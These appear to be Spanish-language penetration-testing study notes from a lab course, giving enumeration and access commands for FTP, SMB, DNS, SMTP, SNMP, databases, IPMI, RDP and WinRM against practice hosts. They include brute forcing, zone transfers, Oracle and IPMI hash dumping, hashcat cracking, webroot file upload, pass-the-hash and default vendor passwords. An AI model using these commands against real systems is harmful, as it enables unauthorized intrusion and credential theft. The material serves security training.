

Footprinting

OSINT

Buscar subdominios legales a través de certificados de transparencia crt.sh.

```
curl -s https://crt.sh/?q=inlanefreight.com&output=json | jq . | grep name | cut -d":" -f2 | grep -v "CN=" | cut -d'"' -f2 | awk '{gsub(/\\n/, "\n");}1;' | sort -u
```

Subdominios hosteado por la compañía

```
for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f1,4;done
```

Shodan - IP List

```
for i in $(cat subdomainlist);do host $i | grep "has address" | grep inlanefreight.com | cut -d" " -f4 >> ip-addresses.txt;done

for i in $(cat ip-addresses.txt);do shodan host $i;done
```

Registro DNS de un dominio

```
dig any inlanefreight.com
```

<OSINT de Cloud Recordado>

Nota: Por lo general se usan los puertos por defecto para cada servicio como pueden ser FTP 21, SMB 445 y SSH 22. No siempre se usan los puertos por defecto en los servicios

FTP

Nota: Por lo general este servicio no esta encriptado algo de alto riesgo y abusable.
conexión FTP

```
ftp <ip>
```

Usuario anónimo habilitado

En el apartado de nombre escribir **anonymous** y cualquier contraseña

get <archivo.txt>	obtener un archivo con ese nombre
ls	listar contenido de la carpeta
binary	puede ayudar cuando hay problemas al obtener un archivo
put <archivo.txt>	subir un archivo con ese nombre
cd <carpeta>	entrar en la carpeta

Descargar todos los archivos disponibles

```
wget -m --no-passive ftp://anonymous:anonymous@10.129.14.136
```

Conexión FTP encriptado con TLS/SSL

```
openssl s_client -connect 10.129.14.136:21 -starttls ftp
```

SMB

Listar contenido disponible sin usuario

```
smbclient -N -L //10.129.14.128
```

Enumerar shares con más detalle.

```
smbmap -H 10.129.14.128
```

Enumerar shares con netexec. Se lleva bien Windows y Kerberos (Directorio Activo)

```
netexec smb 10.129.14.128 -u '' -p '' --shares
```

conectarse al share `notes` sin credenciales

```
smbclient //10.129.14.128/notes
```

conectarse al share `ejemplo` con credenciales

```
smbclient //10.129.14.128/ejemplo -U '<usuario>'
smbclient //10.129.14.128/ejemplo -U '<usuario>%<contraseña>'
```

get <archivo.txt>	obtener un archivo con ese nombre
ls	listar contenido de la carpeta
cd <carpeta>	entrar en la carpeta
help	ver comandos

RPCclient

```
rpcclient -U "" 10.129.14.128
```

Query	Description
srvinfo	Server information.
enumdomains	Enumerate all domains that are deployed in the network.
querydomaininfo	Provides domain, server, and user information of deployed domains.
netshareenumall	Enumerates all available shares.
netsharegetinfo <share>	Provides information about a specific share.
enumdomusers	Enumerates all domain users.
queryuser <RID>	Provides information about a specific user.

Fuerza bruta RID (enumerar usuarios)

```
for i in $(seq 500 1100);do rpcclient -N -U "" 10.129.14.128 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\[user_rid\|group_rid" && echo "";done
```

Una alternativa puede ser impacket - Samrdump.py

```
samrdump.py 10.129.14.128
#Actualmente los comandos de impacket son algo asi impacket-*
impacket-samrdump 10.129.14.128
```

Enumeración con Enum4Linux-ng

```
./enum4linux-ng.py 10.129.14.128 -A
```

NFS

Ver los shares disponibles

```
showmount -e 10.129.14.128
```

Nota: Para acceder al contenido es algo similar a tener todos los archivos en local pero puede tomar tiempo

Acceder a un share determinado a través de una montura

```
mkdir target-NFS
sudo mount -t nfs 10.129.14.128:/ ./target-NFS/ -o nolock
cd target-NFS
tree .
```

Desmontar la montura (poner la carpeta que hizo la montura)

```
sudo umount ./target-NFS
```

DNS

Para interactuar con el mismo se utiliza dig. Se puede utilizar para buscar mas dominios

Ver NS Query

```
dig ns inlanefreight.htb @10.129.14.128
```

Posiblemente ver la version con la clase CHAOS

```
dig CH TXT version.bind 10.129.120.85
```

Ver todas las Querys disponibles

```
dig any inlanefreight.htb @10.129.14.128
```

Dig de transferencia de zona

```
dig axfr inlanefreight.htb @10.129.14.128

<Recorte>

internal.inlanefreight.htb. 604800 IN      A          10.129.1.6
mail1.inlanefreight.htb. 604800 IN      A          10.129.18.201
```

A un dominio interesante también se le puede hacer otro Dig para buscar más información

```
dig axfr internal.inlanefreight.htb @10.129.14.128
```

Fuerza bruta de Subdominios

Fuerza bruta con bash puro

```
for sub in $(cat /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt);do dig $sub.inlanefreight.htb @10.129.14.128 | grep -v ';\|SOA' | sed -r '/^\s*$/d' | grep $sub | tee -a subdomains.txt;done
```

dnsenum

```
dnsenum --dnsserver 10.129.14.128 --enum -p 0 -s 0 -o subdomains.txt -f /opt/useful/seclists/Discovery/DNS/subdomains-top1million-110000.txt inlanefreight.htb
```

SMTP

conexión al servicio SMTP

```
telnet 10.129.14.128 25

HELO mail1.inlanefreight.htb
```

Comando	Descripción
AUTH PLAIN	AUTH es una extensión del servicio utilizada para autenticar al cliente.
HELO	El cliente inicia sesión con el nombre de su equipo y así comienza la sesión.
MAIL FROM	El cliente indica el remitente del correo electrónico.
RCPT TO	El cliente indica el destinatario del correo electrónico.
`DATA	El cliente inicia la transmisión del correo electrónico.
RSET	El cliente aborta la transmisión iniciada pero mantiene la conexión entre cliente y servidor.
VERFY	El cliente comprueba si existe un buzón disponible para transferir mensajes.
EXPN	El cliente también verifica si existe un buzón disponible para mensajería con este comando.
NOOP	El cliente solicita una respuesta del servidor para evitar la desconexión por tiempo de espera.
QUIT	El cliente termina la sesión.

Comprobar a mano la existencia de usuarios con VRFY (se pueden con otros, RCPT y EXPN)

```
VRFY root

252 2.0.0 root

VRFY cry0l1t3

252 2.0.0 cry0l1t3
```

Mandar un correo

```
EHLO inlanefreight.htb
MAIL FROM: <cry0l1t3@inlanefreight.htb>

250 2.1.0 Ok

RCPT TO: <mrb3n@inlanefreight.htb> NOTIFY=success,failure
```

```
250 2.1.5 Ok
```

```
DATA
```

```
354 End data with <CR><LF>.<CR><LF>
```

```
From: <cry011t3@inlanefreight.htb>
```

```
To: <mrb3n@inlanefreight.htb>
```

```
Subject: DB
```

```
Date: Tue, 28 Sept 2021 16:32:51 +0200
```

```
Hey man, I am trying to access our XY-DB but the creds don't work.
```

```
Did you make any changes there?
```

```
.
```

```
250 2.0.0 Ok: queued as 6E1CF1681AB
```

```
QUIT
```

Comprobación de si hay un open relay con nmap

```
sudo nmap 10.129.14.128 -p25 --script smtp-open-relay -v
```

IMAP y POP3

Comando	Descripción
IMAP	
1 LOGIN username password	Inicio de sesión del usuario.
1 LIST "" *	Lista todos los directorios.
1 CREATE "INBOX"	Crea un buzón con el nombre especificado.
1 DELETE "INBOX"	Elimina un buzón.
1 RENAME "ToRead" "Important"	Renombra un buzón.
1 LSUB "" *	Devuelve un subconjunto de nombres del conjunto que el usuario ha declarado como activos o suscritos.
`1 SELECT INBOX	Selecciona un buzón para acceder a los mensajes.
1 UNSELECT INBOX	Sale del buzón seleccionado.
1 FETCH <ID> all	Recupera datos asociados a un mensaje en el buzón.
1 CLOSE	Elimina todos los mensajes marcados con la bandera Deleted.
1 LOGOUT	Cierra la conexión con el servidor IMAP.

POP3	
USER username	Identifica al usuario.
PASS password	Autentica al usuario con su contraseña.
STAT	Solicita al servidor el número de correos guardados.
LIST	Solicita al servidor el número y tamaño de todos los correos.
RETR id	Solicita al servidor entregar el correo solicitado por ID.
DELE id	Solicita al servidor eliminar el correo solicitado por ID.
CAPA	Solicita al servidor mostrar sus capacidades.
RSET	Solicita al servidor restablecer la información transmitida.
QUIT	Cierra la conexión con el servidor POP3.

IMAP con cURL se le puede agregar `-v` para ver más información

```
curl -k 'imaps://10.129.14.128' --user user:p4ssw0rd
```

Conexión a IMAP con encriptado TLS

```
openssl s_client -connect 10.129.14.128:imaps
```

Conexión a POP3 con encriptado TLS

```
openssl s_client -connect 10.129.14.128:pop3s
```

SNMP

Obtener community string por fuerza bruta (v1 no necesita esto)

```
onesixtyone -c /usr/shares/wordlists/seclists/Discovery/SNMP/snmp.txt 10.129.14.128
```

Obtener información con SNMPwalk en v2 (-c contiene la community string)

```
snmpwalk -v2c -c public 10.129.14.128
```

Fuerza bruta al OID

```
sudo apt install braa
braa <community string>@<IP>:.1.3.6.* # Comando

braa public@10.129.14.128:.1.3.6.* #ejemplo
```

MySQL

Intento de conexión sin proveer contraseña

```
mysql -u root -h 10.129.14.132
```

Conexión con contraseña. Dejar la contraseña en blanco hace que te la pida el protocolo y no queda registro en consola

```
mysql -u root -pP4SSw0rd -h 10.129.14.128
```

ver abse de datos

```
MySQL [(none)]> show databases;
```

Ver la version de MySQL

```
MySQL [(none)]> select version();
```

Seleccionar la base de datos y ver las tablas

```
MySQL [(none)]> use <base de datos>;
MySQL [mysql]> show tables;
```

Ver columnas de una tabla

```
MySQL [mysql]> show columns from <tabla>;
```

Ver todo el contenido en una tabla

```
MySQL [mysql]> select * from <tabla>;
```

Ver solo determinadas columnas de una tabla

```
MySQL [mysql]> select <columna> from <tabla>;
```

```
MySQL [mysql]> select <columna>,<columna2>,<columna3> from <tabla>;
```

```
MySQL [mysql]> select user,password from <tabla>;
```

MSSQL

La conexión a este protocolo por consola es muy importante, no es para listar el contenido.

Conexión con impacket

```
python3 mssqlclient.py Administrator@10.129.201.248 -windows-auth
```

```
impacket-mssqlclient backdoor@10.129.230.249 -windows-auth
```

Otra forma de conectarse

```
sqsh -S 10.129.20.13 -U username -P Password123
```

La mejor forma de ver el contenido de las bases de datos en Windows es con dbeaver es de otro modulo pero es lo mas cómodo.

Ejemplo de como hacerlo

<https://www.youtube.com/watch?v=gU6iQP5rFMw>

Oracle TNS

Instalación ODAT (desactualizado, usa pip3 install)

```
sudo apt-get update
sudo apt-get install -y build-essential python3-dev libaiol
cd ~
wget https://files.pythonhosted.org/packages/source/c/cx_Oracle/cx_Oracle-8.3.0.tar.gz
tar xzf cx_Oracle-8.3.0.tar.gz
cd cx_Oracle-8.3.0
python3 setup.py build
sudo python3 setup.py install
cd ~
git clone https://github.com/quentinhardy/odat.git
cd odat/
pip install python-libnmap
git submodule init
git submodule update
sudo apt-get install python3-scapy -y
sudo pip3 install colorlog termcolor passlib python-libnmap
sudo apt-get install build-essential libgmp-dev -y
pip3 install pycryptodome
pip3 install openpyxl
```

Fuerza bruta con Nmap al SID

```
sudo nmap -p1521 -sV 10.129.204.235 --open --script oracle-sid-brute
```

Escanear con ODAT

```
./odat.py all -s 10.129.204.235
```

Instalacion de SQLplus

```
sudo apt update
sudo apt upgrade parrot-core
sudo apt update
sudo apt install oracle-instantclient-sqlplus
```

En caso de tener el error sqlplus: error while loading shared libraries: libsqlplus.so: cannot open shared object file: No such file or directory

```
sudo sh -c "echo /usr/lib/oracle/12.2/client64/lib > /etc/ld.so.conf.d/oracle-instantclient.conf";sudo ldconfig
```

Conexión con SQLplus

```
sqlplus scott/tiger@10.129.204.235/XE
```

Ver tablas

```
SQL> select table_name from all_tables;
```

Información de usuario

```
SQL> select * from user_role_privs;
```

Intentar conectarse como sysdba un usuario, puede funcionar si tiene los privilegios

```
sqlplus scott/tiger@10.129.204.235/XE as sysdba
SQL> select * from user_role_privs;
```

USERNAME	GRANTED_ROLE	ADM	DEF	OS_
SYS	ADM_PARALLEL_EXECUTE_TASK	YES	YES	NO
SYS	APEX_ADMINISTRATOR_ROLE	YES	YES	NO

Extraer hashes de contraseñas

```
SQL> select name, password from sys.user$;
```

File Upload

```
./odat.py utlfile -s 10.129.204.235 -d XE -U scott -P tiger --sysdba --putFile <ruta objetivo> <ruta del archivo>
```

```
./odat.py utlfile -s 10.129.204.235 -d XE -U scott -P tiger --sysdba --putFile C:\\inetpub\\wwwroot testing.txt ./testing.txt
```

IPMI

Contraseñas por defecto a tomar en cuenta

Product	Username	Password
Dell iDRAC	root	calvin
HP iLO	Administrator	randomized 8-character string consisting of numbers and uppercase letters
Supermicro IPMI	ADMIN	ADMIN

Volcado de hashes con metasploit

```
msf6 > use auxiliary/scanner/ipmi/ipmi_dumphashes
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > set rhosts 10.129.42.195
msf6 auxiliary(scanner/ipmi/ipmi_dumphashes) > run
```

Crackeo de hashes con hashcat en el modo 7300

En el evento de que sea un HP iLO usando la contraseña de fabrica por defecto se puede usar

```
hashcat -m 7300 ipmi.txt -a 3 ?1?1?1?1?1?1?1 -1 ?d?u
```

SSH

SSH-Audit

```
git clone https://github.com/jtesta/ssh-audit.git && cd ssh-audit
./ssh-audit.py 10.129.14.132
```

Conexión al protocolo

```
ssh <usuario>@<ip>
```

Conexión con key (id_rsa).

```
ssh -i <nombre del archivo> <usuario>@<ip>
```

Cambiar el método de autenticación a contraseña (de ser necesario)

```
ssh -v cry0llt3@10.129.14.132 -o PreferredAuthentications=password
```

Rsync

Viendo por Shares disponibles

```
nc -nv 127.0.0.1 873
```

Enumerando un Share abierto

```
rsync -av --list-only rsync://127.0.0.1/dev
```

R-Services

Para encontrar los servicios disponibles es con -sV en Nmap en los puertos

Comando	Servicio (daemon)	Puerto	Protocolo de transporte	Descripción
rcp	rshd	514	TCP	Copia un archivo o directorio de forma bidireccional desde el sistema local al sistema remoto (o viceversa) o entre dos sistemas remotos. Funciona como el comando cp en Linux pero no advierte al usuario si sobrescribe archivos existentes.
rsh	rshd	514	TCP	Abre una shell en una máquina remota sin un procedimiento de inicio de sesión. Confía en las entradas de los archivos /etc/hosts.equiv y .rhosts para la validación.
rexec	rexecd	512	TCP	Permite a un usuario ejecutar comandos de shell en una máquina remota. Requiere autenticación mediante nombre de usuario y contraseña a través de un socket de red no cifrado. La autenticación puede ser reemplazada por las entradas de confianza en /etc/hosts.equiv y .rhosts.
rlogin	rlogind	513	TCP	Permite a un usuario iniciar sesión en un host remoto a través de la red. Funciona de manera similar a telnet pero solo puede conectarse a hosts tipo Unix. La autenticación puede ser reemplazada por las entradas de confianza en /etc/hosts.equiv y .rhosts.

Conectarse con rlogin

```
rlogin 10.0.17.2 -l htb-student
```

Mostrar usuarios autenticados

```
rwho
```

Mostrar usuarios autenticados con rusers

```
rusers -al 10.0.17.5
```

RDP

El siguiente script en perl puede indentificar configuraciones de seguridad

<https://github.com/CiscoCXSecurity/rdp-sec-check>

Instalación

```
sudo cpan

Loading internal logger. Log::Log4perl recommended for better logging

CPAN.pm requires configuration, but most of it can be done automatically.
If you answer 'no' below, you will enter an interactive dialog for each
configuration option instead.

Would you like to configure as much as possible automatically? [yes] yes

Autoconfiguration complete.

commit: wrote '/root/.cpan/CPAN/MyConfig.pm'

You can re-run configuration any time with 'o conf init' in the CPAN shell

cpan shell -- CPAN exploration and modules installation (v2.27)
Enter 'h' for help.
```

```
cpan[1]> install Encoding::BER
```

```
Fetching with LWP:  
http://www.cpan.org/authors/01mailrc.txt.gz  
Reading '/root/.cpan/sources/authors/01mailrc.txt.gz'  
.....DONE  
...SNIP...
```

```
git clone https://github.com/CiscoCXSecurity/rdp-sec-check.git && cd rdp-sec-check  
./rdp-sec-check.pl 10.129.201.248
```

Comprobar credenciales (windows)

```
netexec rdp 10.129.14.128 -u '<usuario>' -p '<contraseña>'
```

Conectarse a un servicio RDP, en mi caso es la version 3 y hay que agregarle un 3 al final

```
xfreerdp /u:cry0l1t3 /p:"P455w0rd!" /v:10.129.201.248  
#ejemplo con xfreerdp3  
xfreerdp3 /u:cry0l1t3 /p:"P455w0rd!" /v:10.129.201.248
```

Pass the hash (windows), por lo general no se puede efectuar usando un hash

```
xfreerdp /v:192.168.220.152 /u:Lewen /pth:300FF5E89EF33F83A8146C10F5AB9BB9
```

Usando rdesktop. Se lleva bien con veriones viejas de RDP a diferencia de xfreerdp o remmina

```
rdesktop -u <user> -p <passwd> <ip>
```

WinRM

Comprobar credenciales

```
netexec winrm 10.129.14.128 -u '<usuario>' -p '<contraseña>'
```

Conexión con credenciales

```
evil-winrm -i 10.129.201.248 -u Cry0l1t3 -p P455w0rD!
```

Pass the hash

```
evil-winrm -i 10.129.201.248 -u <usuario> -H <hash>
```

Conectandose con impacket

```
/usr/share/doc/python3-impacket/examples/wmiexec.py Cry0l1t3:"P455w0rD!"@10.129.201.248 "hostname"
```